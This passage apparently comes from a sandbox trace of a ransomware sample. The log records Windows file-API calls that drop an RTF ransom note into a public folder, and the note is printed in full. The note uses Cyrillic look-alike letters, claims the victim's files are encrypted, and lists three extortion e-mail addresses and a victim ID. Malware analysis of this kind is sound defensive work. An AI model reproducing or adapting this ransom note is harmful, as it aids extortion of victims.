\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nã\x8f\x97\x8aß6ZK\x9bJ ¸\x0fΪZ\x88­r¶D:\x0e\x8b£\x04", lpUsedDefaultChar=0x0) returned 14086 [0036.615] WriteFile (in: hFile=0x168, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0036.616] CloseHandle (hObject=0x168) returned 1 [0036.616] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\!bwng_info!.rtf")) returned 0xffffffff [0036.616] GetLastError () returned 0x2 [0036.616] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0037.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 